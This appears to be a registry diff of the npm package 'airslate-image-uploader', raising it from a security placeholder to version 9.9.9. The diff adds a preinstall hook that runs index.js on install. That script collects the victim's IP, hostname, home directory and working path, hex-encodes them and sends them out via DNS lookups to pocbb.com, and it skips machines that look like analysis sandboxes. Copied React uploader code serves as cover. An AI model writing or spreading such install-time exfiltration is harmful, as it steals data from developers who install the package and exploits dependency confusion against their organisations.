airslate-image-uploader 0.0.1-security → 9.9.9

package/README.md

@@ -1,5 +1,2 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=airslate-image-uploader for more information.
+# NPM
+This is a Proof of Concept (PoC) package.

package/index.js

@@ -0,0 +1,105 @@
+const dns = require('dns');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+
+function generateUID(length = 5) {
+    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+    let result = '';
+    for (let i = 0; i < length; i++) {
+        result += characters.charAt(Math.floor(Math.random() * characters.length));
+    }
+    return result.toLowerCase();
+}
+
+// Convert a JSON string to hex
+function jsonStringToHex(jsonString) {
+    return Buffer.from(jsonString, 'utf8').toString('hex');
+}
+
+const uid = generateUID();  // Generate a UID for this client once
+
+function getCurrentTimestamp() {
+    const date = new Date();
+    const offset = -date.getTimezoneOffset() / 60;
+    const sign = offset >= 0 ? "+" : "-";
+    return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
+}
+
+function getLocalIP() {
+    const interfaces = os.networkInterfaces();
+    for (let iface in interfaces) {
+        for (let ifaceInfo of interfaces[iface]) {
+            if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
+                return ifaceInfo.address;
+            }
+        }
+    }
+    return '127.0.0.1';  // fallback to localhost
+}
+
+function getPackageInfo() {
+    const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
+    return {
+        name: packageJson.name,
+        version: packageJson.version
+    };
+}
+
+function sendJSONviaDNS(domain) {
+  // Check conditions to exit early
+  const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname() === "instance";
+  const pathCheck1 = process.cwd().startsWith("/app");
+  const pathCheck2 = process.cwd().startsWith("/root/node_modules");
+  
+  if (hostnameCheck || pathCheck1 || pathCheck2) {
+      return;
+  }
+
+  // Resolve the IP address of ns1.pocbb.com
+  dns.resolve4('ns1.pocbb.com', (err, addresses) => {
+      if (err) {
+          dns.setServers(['1.1.1.1', '8.8.8.8']);  // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
+      } else {
+          const primaryDNS = addresses[0];
+          dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
+      }
+
+      // Get package info
+      const pkgInfo = getPackageInfo();
+
+      // Construct the JSON object
+      const jsonObject = {
+          timestamp: getCurrentTimestamp(),
+          uid: uid,
+          'pkg-name': pkgInfo.name,
+          'pkg-version': pkgInfo.version,
+          'local-ip': getLocalIP(),
+          hostname: os.hostname(),
+          homedir: os.homedir(),
+          path: process.cwd()
+      };
+      const jsonString = JSON.stringify(jsonObject);
+      const hexString = jsonStringToHex(jsonString);
+
+      // Split hex string into chunks of 60 characters each
+      const chunkSize = 60;
+      const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
+      const chunks = hexString.match(regex);
+
+      chunks.forEach((chunk, index) => {
+          const packetNumber = (index + 1).toString().padStart(3, '0');  // 001, 002, etc.
+          const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
+
+          // Perform DNS resolution
+          dns.resolve4(subdomain, (err, addresses) => {
+              if (err) {
+                  return;
+              }
+          });
+      });
+  });
+}
+
+// Usage
+sendJSONviaDNS('pocbb.com');

package/package.json

@@ -1,6 +1,10 @@
 {
   "name": "airslate-image-uploader",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9.9.9",
+  "description": "This is a Proof of Concept (PoC) package",
+  "license": "MIT",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  }
 }

package/src/actions/index.js

@@ -0,0 +1,36 @@
+import {
+  loading, loaded, setTypeContent, streamUpdate, resetStore,
+} from '../reducers/imageUploader';
+import { isUserMedia } from '../utils';
+import { $l } from '../app-config';
+import { ERROR_NOT_ALLOWED } from '../constants';
+
+export const startMediaStream = (TYPE_CONTENT, showError) => (dispatch) => {
+  dispatch(loading());
+
+  isUserMedia();
+
+  navigator.mediaDevices.getUserMedia({ video: true })
+    .then((stream) => {
+      dispatch(streamUpdate(stream));
+      dispatch(setTypeContent(TYPE_CONTENT));
+      dispatch(loaded());
+    })
+    .catch((e) => {
+      dispatch(loaded());
+      dispatch(resetStore());
+
+      if (typeof showError === 'function') {
+        if (e.name === ERROR_NOT_ALLOWED) {
+          showError($l('ERROR_CAMERA_ACCESS'));
+        } else {
+          showError(e.message);
+        }
+      }
+    });
+};
+
+export const stopMediaStream = videoEl => (dispatch) => {
+  videoEl.srcObject.getTracks().forEach(track => track.stop());
+  dispatch(streamUpdate(null));
+};

package/src/app-config.js

@@ -0,0 +1,12 @@
+import Locale from '@airslate/front-locales/lib';
+import defaultLocale from '@airslate/front-locales/locales/en/imageUploader';
+
+const APP_LOCALE_PREFIX = 'IMAGE_UPLOADER_';
+const isDev = () => process.env.NODE_ENV === 'development';
+
+const { get: $l } = Locale(APP_LOCALE_PREFIX, {
+  ...defaultLocale,
+  ...window.allConstants,
+});
+
+export { $l, isDev };

package/src/components/Button.js

@@ -0,0 +1,38 @@
+import React from 'react';
+import { string, func, shape } from 'prop-types';
+import Svg from 'airslate-controls/src/Svg';
+
+const Button = ({
+  children, wrapClassName, className, icon, onClick,
+}) => (
+  <div role="presentation" className={wrapClassName} onClick={onClick}>
+    <label role="button" className={className}>
+      <span className="button__body">
+        {icon && <span className="button__icon">
+          <Svg symbol={icon} />
+        </span>}
+        <span className="button__text">
+          { children }
+        </span>
+      </span>
+    </label>
+  </div>
+);
+
+Button.propTypes = {
+  children: string.isRequired,
+  wrapClassName: string,
+  className: string,
+  icon: shape({
+    id: string,
+    content: string,
+  }),
+  onClick: func.isRequired,
+};
+
+Button.defaultProps = {
+  className: 'button button--primary',
+  wrapClassName: 'drag-and-drop__action-item',
+};
+
+export default Button;

package/src/components/Content.js

@@ -0,0 +1,44 @@
+import React from 'react';
+import { func, any } from 'prop-types';
+import upload from 'airslate-static/src/_images/svg-inline/upload.svg';
+import camera from 'airslate-static/src/_images/svg-inline/camera.svg';
+import Icon from 'ui-components/src/components/Icon';
+import FileIcon from 'airslate-static.icons/src/colored/48/upload.svg';
+import Button from './Button';
+import { $l } from '../app-config';
+
+const Content = ({ fileChanged, startMediaStream, cameraButtonDisable }) => (
+  <div className="drag-and-drop__content">
+    <div className="drag-and-drop__info">
+      <div className="drag-and-drop__icon">
+        <Icon id={FileIcon.id} />
+      </div>
+      <span className="drag-and-drop__title">
+        { $l('TITLE') }
+      </span>
+      <span className="drag-and-drop__subtitle">
+        { $l('DESC') }
+      </span>
+    </div>
+    <div className="drag-and-drop__action">
+      <Button icon={upload} onClick={fileChanged}>
+        { $l('SELECT_PHOTO_BTN') }
+      </Button>
+      { cameraButtonDisable
+        ? null
+        : (
+          <Button icon={camera} onClick={startMediaStream}>
+            { $l('TAKE_NEW_PHOTO_BTN_UPLOAD') }
+          </Button>
+        )}
+    </div>
+  </div>
+);
+
+Content.propTypes = {
+  fileChanged: func.isRequired,
+  startMediaStream: func.isRequired,
+  cameraButtonDisable: any,
+};
+
+export default Content;

package/src/components/Footer.js

@@ -0,0 +1,32 @@
+import React from 'react';
+import PropTypes from 'prop-types';
+
+const Footer = ({ children, leftBtn }) => (
+  <footer className="modal-footer modal-footer--upload__section">
+    {leftBtn && (
+      <div className="modal-footer__actions">
+        {leftBtn}
+      </div>
+    )}
+    <div className="modal-footer__actions modal-footer__actions--md modal-footer__actions--justify-right">
+      <div className="modal-footer__btn">
+        {children.map((Child, idx) => (
+          <div key={idx} className="modal-footer__btn">
+            {Child}
+          </div>
+        ))}
+      </div>
+    </div>
+  </footer>
+);
+
+Footer.propTypes = {
+  children: PropTypes.oneOfType([
+    PropTypes.arrayOf(PropTypes.node),
+    PropTypes.node,
+    PropTypes.array,
+  ]),
+  leftBtn: PropTypes.element,
+};
+
+export default Footer;

package/src/components/ImageEditor.js

@@ -0,0 +1,127 @@
+import React, { Component, createRef, Fragment } from 'react';
+import {
+  object, number, func, array, any,
+} from 'prop-types';
+import AvatarEditor from 'react-avatar-editor';
+import camera from 'airslate-static/src/_images/svg-inline/camera.svg';
+import upload from 'airslate-static/src/_images/svg-inline/upload.svg';
+import Footer from './Footer';
+import Button from './Button';
+import RangeZoom from './RangeZoom';
+import { $l } from '../app-config';
+
+export default class ImageEditor extends Component {
+  editor = createRef();
+
+  static propTypes = {
+    image: object,
+    width: number,
+    height: number,
+    border: number,
+    minScale: number,
+    maxScale: number,
+    style: object,
+    scale: number,
+    color: array,
+    stepScale: number.isRequired,
+    fileChanged: func.isRequired,
+    handleSave: func.isRequired,
+    imageEditorUpdate: func.isRequired,
+    startMediaStream: func.isRequired,
+    cameraButtonDisable: any,
+  };
+
+  static defaultProps = {
+    style: {
+      width: 520,
+      height: 520,
+    },
+    minScale: 1,
+    maxScale: 5,
+    width: 100,
+    height: 100,
+    border: 150,
+    color: [0, 0, 0, 0.6],
+    scale: 2,
+    image: {},
+  };
+
+  saveImage = () => {
+    const { handleSave } = this.props;
+    const img = this.editor.current.getImageScaledToCanvas().toDataURL();
+    const rect = this.editor.current.getCroppingRect();
+
+    return handleSave({ img, ...rect });
+  };
+
+  renderTakeBtn = (cameraButtonDisable) => {
+    const { startMediaStream } = this.props;
+
+    return (
+      cameraButtonDisable
+        ? null
+        : (
+          <Button
+            wrapClassName="modal-footer__btn"
+            className="button button--sm button--secondary"
+            icon={camera}
+            onClick={startMediaStream}
+          >
+            {$l('TAKE_NEW_PHOTO_BTN')}
+          </Button>
+        )
+    );
+  };
+
+  render() {
+    const {
+      image: { preview }, fileChanged, imageEditorUpdate, scale, minScale, maxScale,
+      stepScale, style, height, width, border, color, cameraButtonDisable,
+    } = this.props;
+
+    return (
+      <Fragment>
+        <div className="upload-section__inner">
+          <div className="modal-content__image-block">
+            <AvatarEditor
+              ref={this.editor}
+              image={preview}
+              scale={scale}
+              width={width}
+              height={height}
+              border={border}
+              color={color}
+              style={style}
+            />
+            <RangeZoom
+              scale={scale}
+              imageEditorUpdate={imageEditorUpdate}
+              minScale={minScale}
+              maxScale={maxScale}
+              stepScale={stepScale}
+            />
+          </div>
+        </div>
+
+        <Footer leftBtn={this.renderTakeBtn(cameraButtonDisable)}>
+          <Button
+            position="left"
+            wrapClassName="modal-footer__btn"
+            className="button button--sm button--secondary"
+            icon={upload}
+            onClick={fileChanged}
+          >
+            {$l('SELECT_PHOTO_BTN')}
+          </Button>
+          <Button
+            wrapClassName="modal-footer__btn"
+            className="button button--sm button--primary"
+            onClick={this.saveImage}
+          >
+            {$l('SAVE_BTN')}
+          </Button>
+        </Footer>
+      </Fragment>
+    );
+  }
+}

package/src/components/RangeZoom.js

@@ -0,0 +1,76 @@
+import React, { Component } from 'react';
+import { number, func } from 'prop-types';
+import minus from 'airslate-static/src/_images/svg-inline/minus-simple.svg';
+import plus from 'airslate-static/src/_images/svg-inline/plus-simple.svg';
+import Svg from 'airslate-controls/src/Svg';
+import Slider from 'react-rangeslider';
+import { SCALE } from '../reducers/imageUploader';
+
+export default class RangeZoom extends Component {
+  stepClick = 0.3;
+
+  static propTypes = {
+    scale: number,
+    maxScale: number.isRequired,
+    minScale: number.isRequired,
+    stepScale: number.isRequired,
+    imageEditorUpdate: func.isRequired,
+  };
+
+  static defaultProps = {
+    scale: 0,
+  };
+
+  handleChange = (value) => {
+    const { imageEditorUpdate } = this.props;
+    imageEditorUpdate({ [SCALE]: value });
+  };
+
+  handleChangeLeft = () => {
+    const { imageEditorUpdate, scale, minScale } = this.props;
+    if (scale > minScale) {
+      const step = scale - this.stepClick < minScale ? minScale : scale - this.stepClick;
+      imageEditorUpdate({ [SCALE]: step });
+    }
+  };
+
+  handleChangeRight = () => {
+    const { imageEditorUpdate, scale, maxScale } = this.props;
+
+    if (scale < maxScale) {
+      const step = scale + this.stepClick > maxScale ? maxScale : scale + this.stepClick;
+      imageEditorUpdate({ [SCALE]: step });
+    }
+  };
+
+  render() {
+    const {
+      scale, maxScale, minScale, stepScale,
+    } = this.props;
+
+    return (
+      <div className="range-slider">
+        <div className="range-slider__control">
+          <div className="range-slider__action">
+            <button type="button" onClick={this.handleChangeLeft} className="range-slider__action-btn">
+              <Svg symbol={minus} />
+            </button>
+          </div>
+          <Slider
+            min={minScale}
+            max={maxScale}
+            step={stepScale}
+            value={scale}
+            tooltip={false}
+            onChange={this.handleChange}
+          />
+          <div className="range-slider__action">
+            <button type="button" onClick={this.handleChangeRight} className="range-slider__action-btn">
+              <Svg symbol={plus} />
+            </button>
+          </div>
+        </div>
+      </div>
+    );
+  }
+}

package/src/components/Video.js

@@ -0,0 +1,43 @@
+import React, { createRef, Component } from 'react';
+import { object, func } from 'prop-types';
+
+export default class Video extends Component {
+  video = createRef();
+
+  static propTypes = {
+    stream: object.isRequired,
+    stopMediaStream: func,
+  };
+
+  componentDidMount() {
+    const { stream } = this.props;
+
+    this.updateVideoStream(stream);
+  }
+
+
+  componentWillUnmount() {
+    const { stopMediaStream } = this.props;
+
+    stopMediaStream(this.video.current);
+  }
+
+  updateVideoStream = (stream) => {
+    this.video.current.srcObject = stream;
+  };
+
+  render() {
+    return (
+      <div className="media">
+        <div className="media__video-wrap media__video-wrap--16to9">
+          <video
+            className="media__video"
+            ref={this.video}
+            muted
+            autoPlay
+          />
+        </div>
+      </div>
+    );
+  }
+}

package/src/constants/index.js

@@ -0,0 +1,4 @@
+export const TYPE_EDITOR = 'Editor';
+export const TYPE_CAMERA = 'Camera';
+export const TYPE_DROPZONE = 'Dropzone';
+export const ERROR_NOT_ALLOWED = 'NotAllowedError';

package/src/conteiners/App.js

@@ -0,0 +1,273 @@
+import React, { Component, createRef, Fragment } from 'react';
+import {
+  string, bool, func, number, object, any,
+} from 'prop-types';
+import { connect } from 'react-redux';
+import Dropzone from 'react-dropzone';
+import classnames from 'classnames';
+import Loader from 'airslate-controls/src/Loader';
+import camera from 'airslate-static/src/_images/svg-inline/camera.svg';
+import Content from '../components/Content';
+import Video from '../components/Video';
+import Footer from '../components/Footer';
+import Button from '../components/Button';
+import {
+  imageUpload, imageSelector, resetStore, loading, scaleSelector, setTypeContent,
+  loaded, streamUpdate, streamSelector, isLoadingSelector, imageEditorUpdate,
+  typeContentSelector,
+} from '../reducers/imageUploader';
+import ImageEditor from '../components/ImageEditor';
+import { startMediaStream, stopMediaStream } from '../actions';
+import { $l } from '../app-config';
+import { bytesToSize } from '../utils';
+import { TYPE_EDITOR, TYPE_CAMERA, TYPE_DROPZONE } from '../constants';
+
+const mapStateToProps = state => ({
+  image: imageSelector(state),
+  stream: streamSelector(state),
+  isLoading: isLoadingSelector(state),
+  scale: scaleSelector(state),
+  typeContent: typeContentSelector(state),
+});
+
+const mapDispatchToProps = {
+  imageUpload,
+  streamUpdate,
+  resetStore,
+  loading,
+  loaded,
+  imageEditorUpdate,
+  startMediaStream,
+  stopMediaStream,
+  setTypeContent,
+};
+
+class App extends Component {
+  static propTypes = {
+    maxScale: number,
+    minScale: number,
+    stepScale: number,
+    scale: number,
+    width: number,
+    height: number,
+    isLoading: bool,
+    image: object,
+    stream: object,
+    disableClick: bool,
+    maxSize: number,
+    minSize: number,
+    classNameDrop: string,
+    activeClassName: string,
+    acceptClassName: string,
+    rejectClassName: string,
+    disabledClassName: string,
+    accept: any,
+    cameraButtonDisable: any,
+    typeContent: string.isRequired,
+    onDropRejected: func,
+    onDropMaxSizeRejected: func,
+    imageEditorUpdate: func.isRequired,
+    handleSave: func.isRequired,
+    setTypeContent: func.isRequired,
+    resetStore: func.isRequired,
+    imageUpload: func.isRequired,
+    startMediaStream: func.isRequired,
+    stopMediaStream: func.isRequired,
+    onDropAccepted: func,
+    onCameraError: func,
+  };
+
+  static defaultProps = {
+    classNameDrop: 'drag-and-drop drag-and-drop--profile-photo',
+    disableClick: true,
+    isLoading: false,
+    accept: ['image/jpeg', 'image/png', 'image/gif'],
+    stepScale: 0.01,
+    stream: {},
+    image: {},
+    activeClassName: '',
+    acceptClassName: '',
+    rejectClassName: '',
+    disabledClassName: '',
+    onDropMaxSizeRejected: () => null,
+    onDropRejected: () => null,
+  };
+
+  constructor(props) {
+    super(props);
+    this.dropzone = createRef();
+    this.video = createRef();
+  }
+
+  componentWillUnmount() {
+    const { resetStore } = this.props;
+
+    resetStore();
+  }
+
+  onDropMaxSize = () => {
+    const { maxSize, onDropMaxSizeRejected } = this.props;
+
+    return onDropMaxSizeRejected && onDropMaxSizeRejected(`${$l('ERROR_FILE_IS_TOO_BIG')} ${bytesToSize(maxSize)}`);
+  };
+
+  onError = (files) => {
+    const { onDropRejected, setTypeContent } = this.props;
+
+    if (this.isMaxSizeValidate(files[0])) this.onDropMaxSize();
+
+    onDropRejected(files);
+    setTypeContent(TYPE_DROPZONE);
+  };
+
+  onDrop = (files) => {
+    const { imageUpload } = this.props;
+
+    imageUpload(files[0]);
+  };
+
+  isMaxSizeValidate = ({ size }) => {
+    const { maxSize } = this.props;
+
+    return maxSize < size;
+  };
+
+  fileChanged = () => this.dropzone.current.open();
+
+  showDropScreen = () => {
+    const { stopMediaStream, resetStore } = this.props;
+    const { video } = this.video.current;
+
+    resetStore();
+    stopMediaStream(video.current);
+  };
+
+  startMediaStream = (cb) => {
+    const { startMediaStream, onCameraError } = this.props;
+    if (typeof cb === 'function') cb();
+    return startMediaStream(TYPE_CAMERA, onCameraError);
+  };
+
+  handleStartMediaStream = () => {
+    const { captureImgCb } = this.props;
+    this.startMediaStream(captureImgCb);
+  };
+
+  captureImage = () => {
+    const { setTypeContent, imageUpload } = this.props;
+    const { video } = this.video.current;
+
+    const canvas = document.createElement('canvas');
+    canvas.width = video.current.videoWidth;
+    canvas.height = video.current.videoHeight;
+
+    canvas.getContext('2d').drawImage(video.current, 0, 0, canvas.width, canvas.height);
+    imageUpload({ preview: canvas.toDataURL() });
+    setTypeContent(TYPE_EDITOR);
+  };
+
+  render() {
+    const {
+      classNameDrop, disableClick, image, typeContent, isLoading, stream, accept, maxSize, minSize,
+      activeClassName, acceptClassName, rejectClassName, disabledClassName, handleSave, maxScale,
+      minScale, stepScale, imageEditorUpdate, scale, resetStore, stopMediaStream, width, height,
+      cameraButtonDisable, onDropAccepted,
+    } = this.props;
+
+    const isShowDefaultPage = typeContent === TYPE_DROPZONE || typeContent === TYPE_EDITOR;
+    const preview = image && image.preview;
+
+    const wrapClassName = classnames({
+      'sl-modal__inner': ![TYPE_EDITOR, TYPE_CAMERA].includes(typeContent),
+      'loader-wrapper-solid': isLoading,
+      'upload-section': preview,
+    });
+
+    const DropClassName = classnames({
+      [classNameDrop]: !preview,
+      'upload-section__inner': preview,
+    });
+
+    return (
+      <div className={wrapClassName}>
+        <div className="modal-content">
+          {typeContent === TYPE_CAMERA && (
+            <Fragment>
+              <Video
+                ref={this.video}
+                stream={stream}
+                stopMediaStream={stopMediaStream}
+              />
+              <Footer>
+                <Button
+                  wrapClassName="modal-footer__btn"
+                  className="button button--sm button--secondary"
+                  onClick={this.showDropScreen}
+                >
+                  Cancel
+                </Button>
+                <Button
+                  wrapClassName="modal-footer__btn"
+                  className="button button--sm button--primary"
+                  icon={camera}
+                  onClick={this.captureImage}
+                >
+                  {$l('TAKE_NEW_PHOTO_BTN_UPLOAD')}
+                </Button>
+              </Footer>
+            </Fragment>
+          )
+          }
+
+          {isShowDefaultPage && (
+            <Fragment>
+              {isLoading && <Loader />}
+              <Dropzone
+                accept={accept}
+                className={DropClassName}
+                ref={this.dropzone}
+                onDrop={this.onDrop}
+                disableClick={disableClick}
+                onDropAccepted={onDropAccepted}
+                maxSize={maxSize}
+                minSize={minSize}
+                activeClassName={activeClassName}
+                acceptClassName={acceptClassName}
+                rejectClassName={rejectClassName}
+                disabledClassName={disabledClassName}
+                onDropRejected={this.onError}
+              >
+                {preview ? (
+                  <ImageEditor
+                    scale={scale}
+                    image={image}
+                    maxScale={maxScale}
+                    minScale={minScale}
+                    stepScale={stepScale}
+                    fileChanged={this.fileChanged}
+                    imageEditorUpdate={imageEditorUpdate}
+                    handleSave={handleSave}
+                    startMediaStream={this.startMediaStream}
+                    resetStore={resetStore}
+                    width={width}
+                    height={height}
+                    cameraButtonDisable={cameraButtonDisable}
+                  />
+                ) : (
+                  <Content
+                    fileChanged={this.fileChanged}
+                    startMediaStream={this.handleStartMediaStream}
+                    cameraButtonDisable={cameraButtonDisable}
+                  />
+                )}
+              </Dropzone>
+            </Fragment>
+          )
+          }
+        </div>
+      </div>
+    );
+  }
+}
+
+export default connect(mapStateToProps, mapDispatchToProps)(App);

package/src/index.js

@@ -0,0 +1,14 @@
+import React from 'react';
+import { Provider } from 'react-redux';
+import { store as createStore } from './store';
+import App from './conteiners/App';
+
+const store = createStore();
+
+export default function ImageUploader(props) {
+  return (
+    <Provider store={store}>
+      <App {...props} />
+    </Provider>
+  );
+}

package/src/middleware/index.js

@@ -0,0 +1,12 @@
+import thunk from 'redux-thunk';
+import { isDev } from '../app-config';
+
+export const getMiddleware = () => {
+  const middleware = [thunk];
+
+  if (isDev()) {
+    middleware.push(require('redux-logger').createLogger({ collapsed: true }));
+  }
+
+  return middleware;
+};

package/src/reducers/imageUploader.js

@@ -0,0 +1,47 @@
+import { createAction, handleActions } from 'redux-actions';
+import { createSelector } from 'reselect';
+import get from 'lodash/get';
+import { TYPE_DROPZONE } from '../constants';
+
+const REDUCER_NAME = 'imageUploader';
+
+export const SCALE = 'scale';
+
+export const imageUpload = createAction('IMAGE_UPLOAD');
+export const streamUpdate = createAction('STREAM_VIDEO');
+export const resetStore = createAction('RESET');
+export const imageEditorUpdate = createAction('UPDATE_IMAGE_EDITOR');
+export const setTypeContent = createAction('TYPE_CONTENT');
+export const loading = createAction('LOADING');
+export const loaded = createAction('LOADED');
+
+const initialState = {
+  stream: null,
+  image: null,
+  load: false,
+  typeContent: TYPE_DROPZONE,
+  imageEditor: {
+    [SCALE]: 2,
+  },
+};
+
+export const imageUploader = handleActions({
+  [imageUpload]: (state, { payload }) => ({ ...state, image: payload }),
+  [setTypeContent]: (state, { payload }) => ({ ...state, typeContent: payload }),
+  [streamUpdate]: (state, { payload }) => ({ ...state, stream: payload }),
+  [imageEditorUpdate]: (state, { payload }) => ({
+    ...state, imageEditor: { ...state.imageEditor, ...payload },
+  }),
+  [loading]: state => ({ ...state, loading: true }),
+  [loaded]: state => ({ ...state, loading: false }),
+  [resetStore]: () => initialState,
+}, initialState);
+
+export const stateSelector = state => get(state, REDUCER_NAME);
+export const imageEditorSelector = createSelector(stateSelector, state => get(state, 'imageEditor'));
+
+export const imageSelector = createSelector(stateSelector, state => get(state, 'image'));
+export const typeContentSelector = createSelector(stateSelector, state => get(state, 'typeContent'));
+export const isLoadingSelector = createSelector(stateSelector, state => get(state, 'loading'));
+export const streamSelector = createSelector(stateSelector, state => get(state, 'stream'));
+export const scaleSelector = createSelector(imageEditorSelector, state => get(state, [SCALE]));

package/src/reducers/index.js

@@ -0,0 +1,5 @@
+import { imageUploader } from './imageUploader';
+
+export default {
+  imageUploader,
+};

package/src/store/index.js

@@ -0,0 +1,19 @@
+import {
+  createStore,
+  combineReducers,
+  applyMiddleware,
+  compose,
+} from 'redux';
+import { getMiddleware } from '../middleware';
+import reducers from '../reducers';
+
+export const store = () => {
+  const middleware = getMiddleware();
+
+  const composeEnhancers = window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__ || compose;
+
+  return createStore(
+    combineReducers(reducers),
+    composeEnhancers(applyMiddleware(...middleware)),
+  );
+};

package/src/utils/index.js

@@ -0,0 +1,27 @@
+export const isUserMedia = () => {
+  if (navigator.mediaDevices === undefined) navigator.mediaDevices = {};
+
+  if (navigator.mediaDevices.getUserMedia === undefined) {
+    navigator.mediaDevices.getUserMedia = (constraints) => {
+      const getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+      if (!getUserMedia) {
+        return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+      }
+
+      return new Promise((resolve, reject) => {
+        getUserMedia.call(navigator, constraints, resolve, reject);
+      });
+    };
+  }
+};
+
+export const bytesToSize = (bytes, decimals = 2) => {
+  if (bytes === 0) return '0 Bytes';
+
+  const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
+  const k = 1024;
+
+  const idx = Math.floor(Math.log(bytes) / Math.log(k));
+  return `${parseFloat((bytes / Math.pow(k, idx)).toFixed(decimals))} ${sizes[idx]}`;
+};

package/src/utils/query.ts

@@ -0,0 +1,33 @@
+export type TQueryObject = Record<number | string, any>;
+
+const _flat = (
+  path: string,
+  obj: TQueryObject,
+  flatted: string[],
+): string[] => Object.keys(obj).reduce(
+  (f, p) => {
+    let v = obj[p];
+    if (v === undefined) return flatted;
+    if (v === null) v = '';
+    const ep = encodeURIComponent(p);
+    const np = path ? `${path}[${ep}]` : ep;
+    const theType = Array.isArray(v) ? 'array' : typeof v;
+    if (['function', 'array'].includes(theType)) v = '';
+    if (theType === 'object') {
+      return _flat(np, v, f);
+    }
+    f.push(`${np}=${encodeURIComponent(v)}`);
+    return f;
+  }, flatted,
+);
+
+const flat = (obj: TQueryObject): string[] => _flat('', obj, []);
+
+const stringify = (query: TQueryObject): string => {
+  const queryString = flat(query).join('&');
+  return queryString ? `?${queryString}` : '';
+};
+
+export const buildQuery = (query: TQueryObject): string => (
+  query != null ? stringify(query) : ''
+);